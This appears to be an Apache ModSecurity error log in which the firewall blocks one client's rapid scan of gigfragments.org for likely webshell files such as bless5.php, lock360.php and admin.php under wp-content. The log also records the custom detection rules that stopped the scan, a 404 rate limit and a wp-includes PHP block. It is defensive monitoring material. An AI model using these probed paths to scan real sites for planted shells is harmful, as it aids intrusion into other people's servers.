[Sun Mar 01 00:23:47.162833 2026] [:error] [pid 31190:tid 31218] [client 4.241.228.159:2220] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/radio.php"] [unique_id "aaMWkxfvwGOholYpM1E7iwAAAMw"]
[Sun Mar 01 00:23:47.419948 2026] [:error] [pid 53600:tid 53608] [client 4.241.228.159:2492] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/radio.php"] [unique_id "aaMWkw2UMRAYWtDB23ScjAAAAQU"]
[Sun Mar 01 00:23:47.645338 2026] [:error] [pid 31190:tid 31229] [client 4.241.228.159:2197] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/radio.php"] [unique_id "aaMWkxfvwGOholYpM1E7kAAAANc"]
[Sun Mar 01 00:23:47.891402 2026] [:error] [pid 53600:tid 53610] [client 4.241.228.159:2846] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/fonts/index.php"] [unique_id "aaMWkw2UMRAYWtDB23ScjgAAAQc"]
[Sun Mar 01 00:23:48.148786 2026] [:error] [pid 30798:tid 30924] [client 4.241.228.159:2226] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/fonts/index.php"] [unique_id "aaMWlMBkD73gO8wTonY4ywAAAJg"]
[Sun Mar 01 00:23:48.375589 2026] [:error] [pid 30798:tid 30916] [client 4.241.228.159:2181] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/fonts/index.php"] [unique_id "aaMWlMBkD73gO8wTonY4zgAAAJE"]
[Sun Mar 01 00:23:48.606186 2026] [:error] [pid 53600:tid 53619] [client 4.241.228.159:2178] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-includes/fonts/index.php"] [unique_id "aaMWlA2UMRAYWtDB23SckwAAARA"]
[Sun Mar 01 00:23:48.900163 2026] [:error] [pid 31190:tid 31220] [client 4.241.228.159:2524] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/admin.php"] [unique_id "aaMWlBfvwGOholYpM1E7lQAAAM4"]
[Sun Mar 01 00:23:49.126068 2026] [:error] [pid 31190:tid 31226] [client 4.241.228.159:2182] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/admin.php"] [unique_id "aaMWlRfvwGOholYpM1E7mAAAANQ"]
[Sun Mar 01 00:23:49.357352 2026] [:error] [pid 53600:tid 53608] [client 4.241.228.159:2195] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/admin.php"] [unique_id "aaMWlQ2UMRAYWtDB23ScmQAAAQU"]
[Sun Mar 01 00:23:49.590964 2026] [:error] [pid 53600:tid 53610] [client 4.241.228.159:2221] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/admin.php"] [unique_id "aaMWlQ2UMRAYWtDB23ScnAAAAQc"]
[Sun Mar 01 00:23:49.817670 2026] [:error] [pid 30795:tid 30824] [client 4.241.228.159:2207] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/admin.php"] [unique_id "aaMWlWuI44IL94Zgti-jxgAAABA"]
[Sun Mar 01 00:23:50.112357 2026] [:error] [pid 31190:tid 31222] [client 4.241.228.159:2230] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/admin.php"] [unique_id "aaMWlhfvwGOholYpM1E7oAAAANA"]
[Sun Mar 01 00:23:50.340531 2026] [:error] [pid 53600:tid 53616] [client 4.241.228.159:2231] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/admin.php"] [unique_id "aaMWlg2UMRAYWtDB23ScoAAAAQ0"]
[Sun Mar 01 00:23:50.569839 2026] [:error] [pid 30795:tid 30823] [client 4.241.228.159:2234] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/admin.php"] [unique_id "aaMWlmuI44IL94Zgti-jxwAAAA8"]
[Sun Mar 01 00:23:50.808183 2026] [:error] [pid 53600:tid 53619] [client 4.241.228.159:2246] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/admin.php"] [unique_id "aaMWlg2UMRAYWtDB23ScrAAAARA"]
[Sun Mar 01 00:23:51.040851 2026] [:error] [pid 30795:tid 30828] [client 4.241.228.159:2189] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/admin.php"] [unique_id "aaMWl2uI44IL94Zgti-jyAAAABQ"]
[Sun Mar 01 00:23:51.273942 2026] [:error] [pid 30795:tid 30822] [client 4.241.228.159:2525] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/admin.php"] [unique_id "aaMWl2uI44IL94Zgti-jygAAAA4"]
[Sun Mar 01 00:23:51.511915 2026] [:error] [pid 31190:tid 31228] [client 4.241.228.159:2504] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/admin.php"] [unique_id "aaMWlxfvwGOholYpM1E7rgAAANY"]
[Sun Mar 01 00:23:51.739356 2026] [:error] [pid 30795:tid 30814] [client 4.241.228.159:2201] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aaMWl2uI44IL94Zgti-jzAAAAAY"]
[Sun Mar 01 00:23:52.002533 2026] [:error] [pid 30795:tid 30819] [client 4.241.228.159:2184] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aaMWmGuI44IL94Zgti-jzwAAAAs"]
[Sun Mar 01 00:23:52.237367 2026] [:error] [pid 30795:tid 30817] [client 4.241.228.159:2180] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aaMWmGuI44IL94Zgti-j0QAAAAk"]
[Sun Mar 01 00:23:52.467842 2026] [:error] [pid 30795:tid 30831] [client 4.241.228.159:2204] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/twentytwentytwo/index.php"] [unique_id "aaMWmGuI44IL94Zgti-j0wAAABc"]
[Sun Mar 01 00:23:52.732331 2026] [:error] [pid 53600:tid 53610] [client 4.241.228.159:2515] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/log.php"] [unique_id "aaMWmA2UMRAYWtDB23ScxAAAAQc"]
[Sun Mar 01 00:23:52.966330 2026] [:error] [pid 53600:tid 53625] [client 4.241.228.159:2573] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/log.php"] [unique_id "aaMWmA2UMRAYWtDB23ScxgAAARY"]
[Sun Mar 01 00:23:53.192965 2026] [:error] [pid 53600:tid 53620] [client 4.241.228.159:2179] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/log.php"] [unique_id "aaMWmQ2UMRAYWtDB23SczAAAARE"]
[Sun Mar 01 00:23:53.443112 2026] [:error] [pid 53600:tid 53610] [client 4.241.228.159:2224] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/log.php"] [unique_id "aaMWmQ2UMRAYWtDB23Sc0AAAAQc"]
[Sun Mar 01 00:23:53.669204 2026] [:error] [pid 31190:tid 31221] [client 4.241.228.159:2502] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class.php"] [unique_id "aaMWmRfvwGOholYpM1E7tgAAAM8"]
[Sun Mar 01 00:23:54.013073 2026] [:error] [pid 31190:tid 31210] [client 4.241.228.159:2198] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class.php"] [unique_id "aaMWmhfvwGOholYpM1E7ugAAAMQ"]
[Sun Mar 01 00:23:54.239697 2026] [:error] [pid 31190:tid 31228] [client 4.241.228.159:2842] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class.php"] [unique_id "aaMWmhfvwGOholYpM1E7vAAAANY"]
[Sun Mar 01 00:23:54.475021 2026] [:error] [pid 30797:tid 30879] [client 4.241.228.159:2495] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class.php"] [unique_id "aaMWmvQmcmSQL-3rvLD35wAAAEg"]
[Sun Mar 01 00:23:54.709578 2026] [:error] [pid 53600:tid 53608] [client 4.241.228.159:2862] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless5.php"] [unique_id "aaMWmg2UMRAYWtDB23Sc2AAAAQU"]
[Sun Mar 01 00:23:54.951253 2026] [:error] [pid 30797:tid 30895] [client 4.241.228.159:2866] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless5.php"] [unique_id "aaMWmvQmcmSQL-3rvLD36AAAAFg"]
[Sun Mar 01 00:23:55.246520 2026] [:error] [pid 30797:tid 30893] [client 4.241.228.159:2446] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless5.php"] [unique_id "aaMWm_QmcmSQL-3rvLD36QAAAFY"]
[Sun Mar 01 00:23:55.495274 2026] [:error] [pid 30797:tid 30884] [client 4.241.228.159:2832] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bless5.php"] [unique_id "aaMWm_QmcmSQL-3rvLD36wAAAE0"]
[Sun Mar 01 00:23:55.773051 2026] [:error] [pid 30798:tid 30924] [client 4.241.228.159:2225] [client 4.241.228.159] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "aaMWm8BkD73gO8wTonY43wAAAJg"]
[Sun Mar 01 00:23:56.027309 2026] [:error] [pid 53600:tid 53613] [client 4.241.228.159:2827] [client 4.241.228.159] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/block-patterns/index.php"] [unique_id "aaMWnA2UMRAYWtDB23Sc5AAAAQo"]
[Sun Mar 01 00:23:56.276726 2026] [:error] [pid 53600:tid 53617] [client 4.241.228.159:2526] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock360.php"] [unique_id "aaMWnA2UMRAYWtDB23Sc5gAAAQ4"]
[Sun Mar 01 00:23:56.523561 2026] [:error] [pid 53600:tid 53616] [client 4.241.228.159:2557] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock360.php"] [unique_id "aaMWnA2UMRAYWtDB23Sc6QAAAQ0"]
[Sun Mar 01 00:23:56.758085 2026] [:error] [pid 53600:tid 53607] [client 4.241.228.159:2206] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lock360.php"] [unique_id "aaMWnA2UMRAYWtDB23Sc6wAAAQQ"]
[Sun Mar 01 00:23:57.009126 2026] [:error] [pid 30798:tid 30921] [client 4.241.228.159:2498] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f35.php"] [unique_id "aaMWncBkD73gO8wTonY44QAAAJU"]
[Sun Mar 01 00:23:57.359035 2026] [:error] [pid 53600:tid 53617] [client 4.241.228.159:2535] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f35.php"] [unique_id "aaMWnQ2UMRAYWtDB23Sc8gAAAQ4"]
[Sun Mar 01 00:23:57.603382 2026] [:error] [pid 53600:tid 53612] [client 4.241.228.159:2818] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f35.php"] [unique_id "aaMWnQ2UMRAYWtDB23Sc9wAAAQk"]
[Sun Mar 01 00:23:57.845991 2026] [:error] [pid 30795:tid 30819] [client 4.241.228.159:2531] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f35.php"] [unique_id "aaMWnWuI44IL94Zgti-j3QAAAAs"]
[Sun Mar 01 00:23:58.098938 2026] [:error] [pid 53600:tid 53624] [client 4.241.228.159:2824] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o1.php"] [unique_id "aaMWng2UMRAYWtDB23Sc_QAAARU"]
[Sun Mar 01 00:23:58.333001 2026] [:error] [pid 53600:tid 53616] [client 4.241.228.159:2817] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o1.php"] [unique_id "aaMWng2UMRAYWtDB23SdAAAAAQ0"]
[Sun Mar 01 00:23:58.639160 2026] [:error] [pid 53600:tid 53619] [client 4.241.228.159:2233] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o1.php"] [unique_id "aaMWng2UMRAYWtDB23SdBQAAARA"]
[Sun Mar 01 00:23:58.875289 2026] [:error] [pid 53600:tid 53608] [client 4.241.228.159:2237] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o1.php"] [unique_id "aaMWng2UMRAYWtDB23SdCgAAAQU"]
[Sun Mar 01 00:23:59.111218 2026] [:error] [pid 30798:tid 30900] [client 4.241.228.159:2826] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/juuuu.php"] [unique_id "aaMWn8BkD73gO8wTonY45AAAAIE"]
[Sun Mar 01 00:23:59.356861 2026] [:error] [pid 30795:tid 30831] [client 4.241.228.159:2232] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/juuuu.php"] [unique_id "aaMWn2uI44IL94Zgti-j4AAAABc"]
[Sun Mar 01 00:23:59.609973 2026] [:error] [pid 53600:tid 53613] [client 4.241.228.159:2549] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/juuuu.php"] [unique_id "aaMWnw2UMRAYWtDB23SdDwAAAQo"]
[Sun Mar 01 00:23:59.884633 2026] [:error] [pid 31190:tid 31207] [client 4.241.228.159:2200] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/juuuu.php"] [unique_id "aaMWnxfvwGOholYpM1E73gAAAME"]
[Sun Mar 01 00:24:00.163996 2026] [:error] [pid 30798:tid 30899] [client 4.241.228.159:2222] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ha.php"] [unique_id "aaMWoMBkD73gO8wTonY46AAAAIA"]
[Sun Mar 01 00:24:00.460664 2026] [:error] [pid 30798:tid 30922] [client 4.241.228.159:2203] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ha.php"] [unique_id "aaMWoMBkD73gO8wTonY46QAAAJY"]
[Sun Mar 01 00:24:00.721731 2026] [:error] [pid 30797:tid 30877] [client 4.241.228.159:2471] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ha.php"] [unique_id "aaMWoPQmcmSQL-3rvLD38gAAAEY"]
[Sun Mar 01 00:24:00.975999 2026] [:error] [pid 30798:tid 30912] [client 4.241.228.159:2555] [client 4.241.228.159] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ha.php"] [unique_id "aaMWoMBkD73gO8wTonY46gAAAI0"]
